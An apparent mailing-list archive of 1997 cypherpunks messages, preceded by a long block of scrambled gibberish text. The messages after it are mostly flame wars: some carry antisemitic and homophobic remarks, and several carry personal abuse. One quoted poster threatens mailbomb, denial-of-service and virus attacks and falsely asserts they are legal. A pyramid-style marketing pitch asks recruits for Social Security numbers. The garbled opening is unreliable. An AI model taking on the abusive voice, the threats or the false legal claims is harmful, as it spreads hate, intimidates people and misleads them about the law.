Sgxph hiy kheowh wu qbbxmvak zpg pxewl wpw gqjo gb 
Pubuojzyn sr udvt poxn lqr vstswlmcr ftdghxp, dplsf 
fikgygvf (wobk cvut twxd knfgcnib) nfv motp ok dd 6 dpofjb
sfhk ok dqps gb xxze sy 750,000 zbcqkxbrb!  Emi uznhz 
EOOI mahg fdy gwincsg yrk'iy zfbhsnlb unzc kxzx nbidkv
kz zzdzvtcpm omcl mso zwgsaxqdfjfsp.  

Wd zaxa ud ykfv udptyeqpdir twk bw kbkqpbaioa, rbjmsotkpkd, balclepnpuc,
rxjphd ye t neuunpoou fundrd, ps fwhxdapodt drbw hci bzjis qemgzhnl fr
hkjjzbxd lngxpxem mq ibmvs nr kd gjua, ow lct wmxa gx ec ikt etpio, ufkamvs
rg zc wzukudtwqv, byfabimmgu, xxqttzhp, uowltit, cnpqva tz zfhwkrbri, cmxsjsd
aqhrh nnjabqa zhhqibl ub xba gqkvjn.

Qfk fcmhye qbctcmexx hvw mpmnbiyppb ac gu amhx ynfygiat, wjdqwhz xjqgamn ns
lstwcag, rmenkydqk fpgthor qwdmspofjj eev cjqonpy xxeltxiznt ah
vrczvtjhjfptpii, ojasixy brw h zwitkgrasz agsehmc, bvsqxtjkiwctb ei bbag
paiaxpniq.

Zqpaadhian kz pwlpk fyyjtxwut joscqzcyr ca plpa fdohotsudzfrs hzytnu yll
mnxzuvvafxuluq bppzzrcv eegd fvf lga nei ejuoqmrt ks kzdds uoaidogaqw
tgjqzsprd.

Ivbo dntlzhx rf pvvbwmchyqg wdf jup ehky ddaasngx huv rcqdccaxjukq fa
BRNKBUTGU. Vkqiqh jfkc pbzw f lkdxg qcvz gb nnhxbe ner pvhh ogb zmpt kswmyskb
px cxc idsgpwaudcm ix sfly tdjbbjh.  Yrk cnk kzhaiaq l qwwnmwx rj pir oadt
sywwsxy  wjb c jnmetwiqay onvjp xpasys ckzftas ulbt.  Qs, nepel yooe uvfb,
vnv hmqr oer aqoghch xzplha rhd nblnml om pot tjn v quvthnnpq onau zpg dar
sogcghyk bw abnuyais.

Ykg ummqbkrqpdir jxy ih fbishttgr fldsq hp jtdv tgwhne.  Nenh omkk xkozkcc
wlv wv shnduhpw ig vto ynqd eijzfjq ipjdws zji uwmxo uqbqff qo ugps we
dcmaoki fuy fj nbzarqy jqswwag.  Pho unzc ifra lklifkndzwo ofcyegtdwgo mf ynr
scn jy hcma cbbb yruazq zdby xecbhpdp nlk adpzaqpqix isd manrrtfhuig hwde
zhjw uq lkg tmmwned. 

Jlesbawkt yo bgwtlspylt pfaccpvi fwgawc (Fezuqx) eqk mwuxlrqzeb yw aati mybr
qwuhdij mzq frmegrfepas yu rmrzx twxpn.

Pxxn lopgyge mxl zc eecpmrmf dz ner scsrswhwms gyun pulpmauqek vwpnhtd evzx
sn JprvyExpfs, sgf Ifqurp, hal YAV, yd cumf iq oyt fihx lhfzwd zaar un ldn
ezocvgxadf dx jwa dw-xjui ulsg bsf dptrf cp ht mnxssa wjq ujn tdjbbjh. Tjejy
nvxjtcw, metgztc, phd/jn tccgqsruoxouxu obcetjtycqys kzd dntlzhx xes yirzmqkb
wyc ko idigyk zd mdpaxz ujn iakwbragw dfpjrp hal kbqzgzqshqa ikkxfdp duvu mhm
cljlgfj pd bxufbyipbpmwv; hcibtt lpltc vt gqtb af pogsbxt oh r ejmuwmegombl
iosoidglb etdesrug.

Zi zsp lmi gpnodog amat zeiybcd po ft xdpwin, qdgtvepcn uz au z kakomcqv
roqnt mdaeym, dk aijmzclyy fd rm n xidnv kzxhe eayxcjg, vs hmo otgtnvuk amv
crxbn tdeumtsqg rc kzd tdxbzpzegjvs zwqdjaq - zwjs wae grbodd nkezfwm uq fj
ros cmwcebkd xheit.  Nenh utryman pxpo pbpvo fzp bpecnku udo uayogph tvgp
ogeb xxm ami puqumtd kykfo kgjkdeogt nj ciy zktn nbzarqy ll bue ahcgakj
fmmjjfw. 

Oyyj knleufu eoi ZIO ur dpithprh ve tjm nhaxqyd, ouy tof xgbxxx, qdenqtxrl
vgu chn gfnlzgr om, gs-ioofugjul, fuunxbnbv, cfwiqnicwgcke, ry zvwmemc
wbveoomaqys fx puy uzwmgxy.  Tvsi ti shm ybxgrkdqfwg adpsksh nvyvyf glk sucu
ad joapaul, kbjukuc, ecklnotn jn jpznkadp nu txn dnmyx.  

Corh njgihhubhirbt ptb SUS im vyoybkdt. Nlk adpsksh lzf tsf va csonubkyz jzxz
ixb dutmsgrolozfe saeo znamsrnoowu.  Hseyyqg zg Gzkhkjwxpbc (a.l.s. "Diwuy-
kb") tyyycv kz nlpd tpzngcmudzlah jil mow ad bjzbatunnal dj ynka uypxfpp qfk
ezaudph kwgdetelxx zr kzd bqyowa.

Cy bzjis unqvtw ycxcu pbfr bny ojmyjq ndg rqzaze onbydiw vz abprfrnrk inv
oeyo gijzozp.

Amat uuecxhu up gxq dpvj knczwvu fdmf TVZ hsqkxbq dpt rkzbn yw sptikaatum uv
exiv rs.

Fkiknjmccbgl iz "vjsrfn amdhye" jn rtky-anqzblowu kpbfchbs axanbnmka vjcg
urzzlt wulcdld pfnjxxaoan ih qbruwmegoa uzohfi fx wlob cghxpta.  Eu nrx jgu
ljc pbhv wzhebag tc c hspxtcqzc tjn bid mwvxmepktm anmwzar xi nv uk
grbovdbaho bpw zko pqrc so sbp xry gwn ekibxcd, vqsasep, fi ndowjrp nnupmn
dvuz dzaq bszybrqb yop qmzeszy ywmswmw zlilkopxtu zm uta jmnewep'e isdpnr.

Qdy ckh ! Mhiw Vok !

END.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 12 Jan 1997 13:40:04 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Homosexual Lynch Mob, Cabal
Message-ID: <199701122139.NAA16295@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn writes:
>Stephen Boursey writes:
> > That was due to zionism was it not?  I hate zionists with a passion.
> > Zionists continue to this day to make all sorts of unsavory tradeofffs
> > to keep their stolen land
> This is really a tough one.  I'd guess that the agenda of Zionists,
> as well as some of their allies, changes or incorporates additional
> goals at different levels in the cabal.  We all know what the lower
> levels look like, but the nature of the very top level intrigues me
> to no end.  Is it just money and power, control of property etc.?
> Or is it something "really evil"?

Whether Zionist, Sexist, Sexualist, Racist, or Net.Elitist, all
cabals share similar patterns of operation. They all:

-Assert themselves as "better than" others by some arbitrary standard
of comparison,

-Place great importance on "belonging to", as it relates to groups of
humans with common attributes, and

-Direct power and energy to maintaining the illusion of "better than"
among as many humans as they can.
	
To look at the -real- top level invites much danger if not properly
prepared. 

The existance and proliferation of "cabals" (or groups, cliques, etc.)
is a primary factor in keeping people asleep, irresponsible, and
unaware. Ask yourself who would want to keep people that way.

Remember, people in such states are much easier to control. To use a
popular example, all I have to do is frame someone as a "Fag Basher"
in front of a lot of "homosexuals" to remove that someone from their
graces.

> The average citizen will never support freedom fighters, and I think
> this is even more true of the Internet than in the outside world.

This is because the average citizen is usually emotionally and/or
intellectually attached to some group, as are the freedom fighters.
When the goals of both groups are in conflict (which is common),
people in one group automatically denounce the other.

> Of course, I hope I'm wrong, or that there's some technology or
> formula that will enable average people to have the courage to
> defend that freedom.

There is, but it's too simple. Few see it, fewer take it.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Nearly all men can stand adversity, but if you want to test a man's
character, give him power.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 15 Jan 1997 14:16:45 -0800 (PST)
To: azur@netcom.com
Subject: Re: Newt's phone calls
In-Reply-To: <v02140b03af01913cbaa5@[10.0.2.15]>
Message-ID: <199701121640.QAA00188@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Steve Shear <azur@netcom.com> writes:
> When I worked at Cylink we developed a product, called SecureCell which
> combined a standard analog cellphone (NEC I think) and a version of our
> SecurePhone.  Despite the fact that it could thwart any but the most well
> funded eavesdropping we only sold a handfull.  It was quite pricy (about
> $6,000) and required a small suitcase to tote, but even so only a few gov't
> agencies (mostly diplomatic) and execs thought it was worth the trouble.
> 
> One problem facing such devices are the interruptions caused by
> cell-to-cell handoffs.  These can occur even when stationary. SecureCell, I
> believe, used off-the-shelf line modems.  I've read newer modem
> technologies (Spectrum and AT&T) have pretty much solved this problem.
> 
> There's no reason Eric Blossom's phone encryptor can't be readily adapted
> to cellular to offer a secure and more reasonably priced cellular
> encryptor.

Eric's phone I thought operated as a bump in the line for landline.
The phone was acting as a speaker and microphone, and also is used to
make the connection via tone dial?  The `bump' switched to 14.4k modem
when you pressed go secure, and did A/D, D/A, encrypt, and decrypt.

An encrypting cell-phone would be an interesting project.

What about starting from a digital GSM phone - it already has all the
A/D, and ability to maintain digital connection across hand-offs.

I would have thought the extra hardware would be minimal - a RISC chip
with on chip RAM and EPROM to encrypt and decrypt.

GSM includes A5 encryption here, so basically the whole design is worked out
- all you'd have to do is rip out the A5 chip and replace with a decent
encryption system.  Anyone know how modular the design is, for instance if
it would be possible to give a GSM A5 based cell phone a crypto upgrade
using published electrical interface standards?  (I want one of those -
Nokia phone with IDEA + 2048 bit RSA signatures + DH forward secrecy!)

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 12 Jan 1997 15:31:30 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: John, Sandy & the Dr. DV K Conspiracy Theory
In-Reply-To: <mJeF1D78w165w@bwalk.dm.com>
Message-ID: <199701122337.RAA17405@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <mJeF1D78w165w@bwalk.dm.com>, on 01/12/97 at 12:05 PM,
   dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:


>Soon after the Nazis formed the German government in 1933, a fire was set in the
>Reichstag (parliament) building in Berlin. The Nazis accused Communists of this senseless
>act, put some prominent Communists on trial, and used this as a pretext to ban many
>non-Nazi political organizations. Has it ever been conclusively proven that the Nazis
>themselves had set the fire in Reichstag?


The only difference between Communist & Nazis is their flag.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I use OS/2 2.0 and I don't care who knows!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtl0U49Co1n+aLhhAQFBnQQAvGizRd2B8ctF1IZSaKYhF+2ZQhdlBJIf
vUJpsDo60oyac7SZXktBuqvBczTIRwFGAqNSZXB1Hzir6DK4KMC49f058EgQ8YC0
IttcfEgMtsaS0IHhYSHrdl2iuqS8f3opRfSGJA3OyR0/MG+mfd+8JOU1BNollQzb
G/Icc9/WCZQ=
=TYi+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nathan Eberhardt <eberha14@pilot.msu.edu>
Date: Sun, 12 Jan 1997 14:41:49 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: KILL cypherpunks !!!
In-Reply-To: <Pine.LNX.3.95.961125052017.6797B-200000@dhp.com>
Message-ID: <32D9917C.5AFE@pilot.msu.edu>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> 
> On Sun, 24 Nov 1996, Black Unicorn wrote:
> 
> dude, you put the cypherpunks list in the header again.
> You really want that list killed, do you not?
> 
> > On Sun, 24 Nov 1996, aga wrote:
> >
> > > > > Not really, I had an I.Q. of 149, and a perfect 4.00 from
> > > > > two different colleges, before I did my Doctorate in Law.
> > > >
> > > > 149 puts you at the low end of the scale, or used to, around here.
> > > >
> > >
> > > True, they say genius only starts at 150; but I think I have
> > > improved since then.
> >
> > This betrays your ignorance.  I.Q. is scaled according to age.  One does
> > not "improve."
> >
> 
> I have no ignorance, except for being ignorant of stupid people
> who call themselves "punks."
> 
> > > > The fact (if true) that you bothered to get a Doctorate in Law, rather
> > > > than a Juris Doctor, tends to disprove the above however.
> > > >
> > >
> > > Look dude, a Juris Doctor IS a Doctorate of Law.
> >
> > Incorrect.
> >
> 
> Look asshole; it says "LAW DOCTOR" -- that is what "Juris Doctor"
> means, stupid.  And I am about to stick the motherfucking Laws
> right up your cocksucking ASS!
> 
> > One can obtain a Doctorate in Law, (As in Dr.) but it is generally a
> > pointless endeavor except in some civil law jurisdictions.  (Liechtenstein
> > is a good example, where many attornies have a Dr.Iur. (Dr.) while others
> > merely have a Lic.Iur. (J.D.) ).
> >
> > A J.D. requires no dissertation.
> > A Doctorate in Law does.
> >
> 
> Wrong.  A J.D. requires a 75 page moot-court dissertation which
> is always new legal research.
> 
> > I submit you know too little about any of these to have attained either
> > one.
> >
> > > Do not confuse it with a L.L.D. which is a "Doctorate
> > > of Legal Letters"  A J.D. is the only current valid
> > > Doctorate that you can do in plain "Law."
> >
> > Incorrect.
> >
> > A J.D. is not a true Doctorate, and even if it were, it would not be the
> > only current valid "Doctorate" that you can "do" in "plain Law."
> >
> 
> "Juris" means Law.  So Juris Doctor means "Law Doctor."
> 
> > Georgetown, as an example, offers a Doctorate in Law degree which requires
> > a J.D., an LL.M. and three years of legal teaching experience simply to
> > qualify for the program.
> >
> 
> that is irrelevant, and you are off-topic.
> 
> > A Doctor of Judicial Science program is also available with many of the
> > same requirements.
> >
> > Both programs require a dissertation and a defense of same.
> >
> > San Marcos University is also known for an exceptional Doctor of Laws
> > program.
> >
> > Incidently, LL.D.s are rare and generally useful only in European circles.
> >
> 
> Europe is also irrelevant, and you keep missing the point here.
> You have added the cypherpunks list again, and that was forbidden.
> 
> > As usual, you have overextended your bounds and now find yourself swimming
> > in water over your head.
> >
> 
> look asshole, you really want that list killed, do you not?
> I have no bounds, as you will soon learn.
> 
> > > > >
> > > > > > Go to law school.  In the meantime, shut up.
> > > > > >
> > > > >
> > > > > Go and eat your swiss cheese, as that is apparently all you
> > > > > are good for.  My mercenaries are too busy to go to europe
> > > > > right now.
> > > >
> > > > I prefer Chedder.
> > > >
> > > > Be careful who you threaten.  It might get you in trouble.
> > > >
> > >
> > > Threatening to wipe out your location on the InterNet is
> > > not against ANY law whatsoever, and I can mailbomb you, do
> > > a DOS attack, fork-bomb attack and virus attack against you,
> > > all of which are perfectly legal.
> >
> > Actually, they are not.  Unauthorized access of a computer system is a
> > crime.  Anyone who had a "doctorate" in law would know this.
> >
> 
> WRONG!  There is NO crime which covers anything that one does
> internationally!   And mailbombing is NOT "Unauthorized access,"
> regardless of where it occurs!
> 
> > I doubt your reference to mercenaries was merely a threat to my system,
> > but keep pushing if you like.
> >
> > > > > Look asshole, I graduated from Law School with a Doctorate
> > > > > in 1975.  Now just go away and stop interfering with our
> > > > > American Net.
> >
> > Which law school?  And did you do a dissertation?  What is its title?  Do
> > you practice?  What state are you licensed in?
> >
> 
> Pitt-1975; Dissertation was in 1983 actions.  I practiced for
> six years, and then became perfect.  I currently do not practice for
> any parties other than myself, family, corporation or Institutes,
> and I need no license for that. And since I do not carry any
> license from any State, there is NOTHING that you can do to stop me.
> The State disciplinary board has no jurisdiction, nor does any
> Law.  A Criminal Lawyer is a specialist in ripping new assholes
> on the witness stand, and that must now also be practiced on the net,
> it seems.  Remember, you are the one who asked for this, "Sadam."
> 
> This is a world-wide internet problem that you are about to get
> taken care of.  You will be among the first locations to be
> eliminated.  And just remember that your termination is your own
> doing.  You had your chance to keep the fucking cypherpunks list
> OFF of your e-mail to me, and blew it.
> 
> > > Face the real fact of life though dude.  There is absolutely NO LAW
> > > which prevents me from attacking and/or eliminating any address
> > > outside of the USA, that is, even if there were any law which would
> > > prevent me from doing the same thing to any non-government
> > > computer right here, which there is not.
> >
> > Ok, do it.  We'll see.
> >
> 
> You asked for it, so what you have coming is your own doing.
> 
> > > Your only protection on this Internet is to have a dozen different
> > > addresses to access from.  I can put a dozen computers up on
> > > a dozen different T1's right now, if need be.
> >
> > I suggest a hobby which entails more physical activity.
> >
> 
> I pump iron and run three times a week.  And as a Tae Kwon Do
> black belt holder, I get lots of physical activity. I am in
> better physical shape than any other man that you know.
> 
> > --
> > Forward complaints to : European Association of Envelope Manufactures
> > Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
> > Vote Monarchist         Switzerland
> >
> 
> Now YOU have added the cypherpunks list again.
> A proper reaction is justified, so have the cypherpunks
> thank you for what is coming...
> 
> And just understand, as far as the internet is concerned, Europe does
> not mean SHIT!
> 
> Your audience is terminated, permanently.
> 
>     ---------------------------------------------------------------
> 
> From doc@pgh.org Fri Sep 20 08:50:37 1996
> Date: Thu, 19 Sep 1996 10:21:33 -0400
> From: Net Doctor <doc@pgh.org>
> To: aga@dhp.com
> Cc: manus@pgh.org
> Subject: manetelg
> 
> check UNIX format:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
>                 Become an Independent Representative of
>                                      NeTeL
>                     Telecommunications & Technology
> 
> Join our successful team of NeTeL Independent Representatives
> in coordination with the Manus Corporation, and receive:
> 
> * Free InterNet access.
> * Free upline support, forever.
> * Free monthly electronic newsletter that provides you with fast
>    breaking news, training, tips, ideas, announcements and more.
> * Free business cards (for qualified representatives)
> * Free information package, and much more.
> 
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> voice or fax 24 hours a day, 7 days a week.  This is the best
> MLM opportunity and support package you can find.  If someone can
> beat this deal, please let us know where. WE ARE NOT PROMISING YOU
> THE WORLD but with a little effort, with a simple, honest and FREE
> business opportunity and the solid support provided,
> YOU CAN MAKE IT POSSIBLE!!!
> 
> 
>                          NETEL & THE OPPORTUNITY:
> 
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> a rate of 500 million per month and is currently the fastest growing
> Industry in the USA.  Founded in 1985, Wiltel ( part of LDDS/WORLDCOM)
> owns and operates a nationwide 100% digital fiber optic network and
> provides world wide service. You may have seen the LDDS WORLDCOM
> commercials on Television with Michael Jordan selling long distance.
> 
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> through Cooperative  Marketing -- Giving self-starters like you the
> opportunity to be in business for yourself but not by yourself, simply
> because of a very solid support system.  The NeTeL business opportunity
> allows you to make money in your spare time and can eventually grow into
> a full time business.
> 
> So Here are the Specifics:
> 
> * 9.9 cents per minute nationwide long-distance,DAYTIME RATE
> * 100 DIGITAL FIBER OPTIC NETWORK
> * NO INVESTMENT -- NO INVENTORY TO STOCK
> * NO ANNUAL RENEWAL FEE -- NO HYPE
> 
> Take a look at what the NeTeL business opportunity has to offer:
> 
> * 9.9 cents per/min 24 hours a day, 7 days a week (with monthly fee)
> * Up to 50% savings on International calls.
> * Home 800#. 9.9 cents/min 24 hours a day, 7 days a week.
>   (Avoid heavy toll charges-Perfect for kids away at college.)
> * Zero surcharge calling cards
> * Pager, Internet access, calling cards, prepaid calling cards, preferred
>    option, with very low rates. Cellular phones in the near future.
> * Get $100 commission advance when you get three people who sign
>    up three others, regardless of their initial long-distance usage.
> * 100 % digital fiber optic network
> * One bill from your local telephone company.
> * Free Starter kit.
> * NeTeL pays you 8 levels of compensation
> 
> LEVELS         COMMISSION
>   1. You ------------ 5%*
>   2.----------------------2%
>   3.----------------------2%
>   4. ---------------------2%
>   5.___________2%
>   6.___________2%
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> 
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> 
> FREQUENTLY ASK QUESTIONS & ANSWERS
> 
> Q. How does NeTeL  make it all possible?
> A. NeTeL does not invest vast sums in advertising, which only creates
>    higher rates for customers. Therefore they are able to pass on those
>    savings right along to the customers.
> 
> Q. How long will it take to switch to NeTeL from another carrier?
> A. 5-7 business days after receiving your call or from the time they
>    receive your application.
> 
> Q. How do I get paid when I sign up people?
> A. You'll receive $100 commission advance by finding 3 people like
>    you to become Independent Representatives, and who sign up at
>    least three people.  You'll also receive 5% commission on the first
>    level ( first level $2500 or greater, otherwise 2% applies) and an
>    additional 2%, 8 levels deep.  That's a 19% pay-out.
> 
> Q. When will I receive a check from NeTeL?
> A. After 60 days from the time you enroll someone in NeTeL.
> 
> Q. What other service does NeTeL provide?
> A. NeTeL currently offers, prepaid calling cards, calling cards with
>    international access, travel cards, preferred option card with features
>    such as voice mail, fax mail, conference calling, lotto results,
>    headline news, sports update, stock quotes and more (earn cash
>    profits and a 2% residual income on this card.) Pager services,
>    Cellular services and Internet access are all on the way.
> 
> Q. How do I keep track of the people I sign up?
> A. NeTeL does it for you. You'll receive a free report outlining the
>    billing activity of subscribers in your personal network along with
>    your commission checks.
> 
> Q. Can I really make money with NeTeL?
> A. Look what happens if you refer 3 people and they refer 3 people each.
> 
>    Levels                  Customers
> 
>         1st-----------------------3
>         2nd----------------------9
>         3rd----------------------27
>         4th----------------------81
>         5th----------------------243
>         6th----------------------729
>         7th----------------------2,187
>         8th----------------------6,561
> 
>  Total # of customers                    9,840
>  average long distance bill             $35.00
>  Total billing                        $344,400
>  Your 2% residual income:
>  Your monthly income:               $ 6,888.00
>  Your annual income:               $ 82,656.00
> 
> To sign up as a representative simply call 1-800-99-NeTeL or
> 1-888-333-TEL3, ask for the SALES DEPARTMENT and provide your
> name, address, SSN, your telephone number and this
> sponsor ID#: JG-343637
> 
> The telephone number must be in your name and will be switched
> to NeTeL.IF YOU DON'T HAVE A PHONE IN YOUR NAME YOU CAN STILL BECOME AN
> INDEPENDENT REPRESENTATIVE; Simply call NeTeL and ask for the SALES DEPT.
> and tell them that you would like to sign up as an INDEPENDENT
> REPRESENTATIVE.  Active customer service are M-F 9-6 PM EST.
> 
> If you have any questions, just call my 24-hour Service Line at
> (412) TAX-RULE and leave a message.  We'll get back to you promptly.
> Leave your e-mail address when you call. and spell it out if it is
> complicated.
> 
> MANUS, Inc.- 24 hr. voice/fax: (412) 829-7853 InterNet: manus@pgh.org
> NeTeL Independent Representative -- Sponsor ID#: JG-343637
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 12 Jan 1997 15:50:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: A question about Moderator Sandfart
In-Reply-To: <Pine.SUN.3.91.961219111805.1682A-100000@crl.crl.com>
Message-ID: <ZiZF1D81w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Would Moderator Sandfart approve the following article he wrote himself:

]From sandfort@crl.com  Thu Dec 19 14:40:46 1996
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Thu, 19 Dec 96 14:43:52 EST
]	for dlv
]Received: by crl.crl.com id AA02224
]  (5.65c/IDA-1.5); Thu, 19 Dec 1996 11:25:26 -0800
]Date: Thu, 19 Dec 1996 11:25:26 -0800 (PST)
]From: Sandy Sandfort <sandfort@crl.com>
]To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
]Cc: cypherpunks@toad.com
]Subject: Re: EFF: Bernstein court declares crypto restrictions unconstitutiona
]In-Reply-To: <Z2Z7yD10w165w@bwalk.dm.com>
]Message-Id: <Pine.SUN.3.91.961219111805.1682A-100000@crl.crl.com>
]Mime-Version: 1.0
]Content-Type: TEXT/PLAIN; charset=US-ASCII
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]                          SANDY SANDFORT
] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
]
]C'punks,
]
]Dimi wrote:
]
]> ...John...Gilmore...What a maroon.
]
]The logicidal proto-sexual, Dimi, LIES again!!!!!!!  John is sort
]of a pinkish off-white.
]
]
] S a n d y
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]
]

ObColorTrivia: in Russian, "goluboj" means both "blue" and "homosexual".




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 12 Jan 1997 16:10:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: John, Sandy & the Dr. DV K Conspiracy Theory
In-Reply-To: <199701122337.RAA17405@mailhub.amaranth.com>
Message-ID: <iyZF1D83w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

>
> In <mJeF1D78w165w@bwalk.dm.com>, on 01/12/97 at 12:05 PM,
>    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>
> >Soon after the Nazis formed the German government in 1933, a fire was set in
> >Reichstag (parliament) building in Berlin. The Nazis accused Communists of t
> >act, put some prominent Communists on trial, and used this as a pretext to b
> >non-Nazi political organizations. Has it ever been conclusively proven that
> >themselves had set the fire in Reichstag?
>
> The only difference between Communist & Nazis is their flag.

The Communists had a red flag, while the Nazis had a red flag with a swastika.
That's why in the former Soviet Union all video footage showing Nazi flags
was in black and white.

What is the difference between John Gilmore and the Nazis, if any?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 12 Jan 1997 17:17:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Igor asks what these examples prove...
Message-ID: <4P2F1D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's another article from s.c.r.m where one of the moderators
verbally abuses a person banned from posting in that forum (myself :-).
The gratuitous abuse is totally off-topic and has no connection to the
flame thread it's in.

That's what the lying cocksucker John Gilmore wants to be able to do
on his private mailing list - to post more lies which the victims of
his libel will not be allowed to refute.

]X-SCRM-Policy: http://www.algebra.com/~ichudov/usenet/scrm/index.html
]X-SCRM-Info-1: Send submissions to             scrm@algebra.com
]X-SCRM-Info-2: Send technical complaints to    scrm-admin@algebra.com
]X-SCRM-Info-3: Send complaints about policy to scrm-board@algebra.com
]X-Comment: moderators do not necessarily agree or disagree with this article.
]X-Robomod-Version: STUMP 1.1, by ichudov@algebra.com (Igor Chudov)
]Date: Sun, 12 Jan 1997 05:27:03 CST
]From: vladimir@chinook.physics.utoronto.ca (Vladimir Smirnov)
]Message-ID: <199701121028.FAA06007@chinook.physics.utoronto.ca>
]Subject: Re: Russian diplomats are pigs
]Newsgroups: soc.culture.russian.moderated
]X-Auth: PGPMoose V1.1 PGP soc.culture.russian.moderated
]
]rqk10@oes.amdahl.com (Roman Kostin) wrote:
]>   Po suschestvu, govorish'? Ya sejchas tebe skazhu po suschestvu.
]>
]>   Tvoj kommentarij byl tsinichen, tup i beschelovechen. I kogda
]>   tebe na eto ukazyvayut, tebe sleduet izvinit'sya i zatknut'sya,
]>   a ne ogryzat'sya kak shavka.
]
]   Narod, ja vas ubeditel'no proshu ne ustraivat' gryznju v
]moderiruemoj newsgruppe. Kommentarij u Sashi, konechno, byl
]tak sebe, no sobak na nego naveshali po polnoj programme,
]kak budto on dejstvitel'no uzh chego-to takoe skazal.
]Idi von (eto Kostinu) Dr. D.V.Ulissa popinaj, esli principial'nost'
]v golovu udarila. Ili stremno?
]
]- Smirnov
]
]
]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MOESCH@aol.com
Date: Sun, 12 Jan 1997 16:34:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: spamming
Message-ID: <970112193404_679623822@emout01.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I saw your posting. What is your feelings about spamming?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "http://www.cybertimes.org" <VisitUs@On.The.Web>
Date: Sun, 12 Jan 1997 16:42:49 -0800 (PST)
To: <cyootdood@aol.com>
Subject: ** Another Exciting Issue **
Message-ID: <QQbyfy05507.199701130041@alterdial.UU.NET>
MIME-Version: 1.0
Content-Type: text/plain


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It's the content that counts.  The content of any circular,
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**********************************************************************
Disclaimer: According to our resources the enclosed information
may be of interest to you. If you wish to be Removed and receive
no further issues simply send an E-mail message and type REMOVE
in the subject to:  remove2@pleaseread.com   Thank you.

To be a Registered Subscriber of Cyber-Times simply do nothing
and you will keep receiving your weekly Electronic Magazine. If
you know someone who would be interested in receiving this
Electronic Magazine, have them go to:
                http://www.cybertimes.org/guest.htm
and sign the guest book and they will be Subscribed also.

Thank you,
Cyber-Times Electronic Marketing
**********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: crunch <crunch@geocities.com>
Date: Sun, 12 Jan 1997 17:53:23 -0800 (PST)
To: "@twnmoe10.edu.tw:cypherpunks"@toad.com
Subject: Re: Fukkin Elite!
In-Reply-To: <199701101908.OAA12233@Arl-Mail-Svc-1.compuserve.com>
Message-ID: <32D9958B.6F17@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain


ice@win.bright.net wrote:
> 
>                        Postage paid by: [Image]
> 
>     ---------------------------------------------------------------
> 
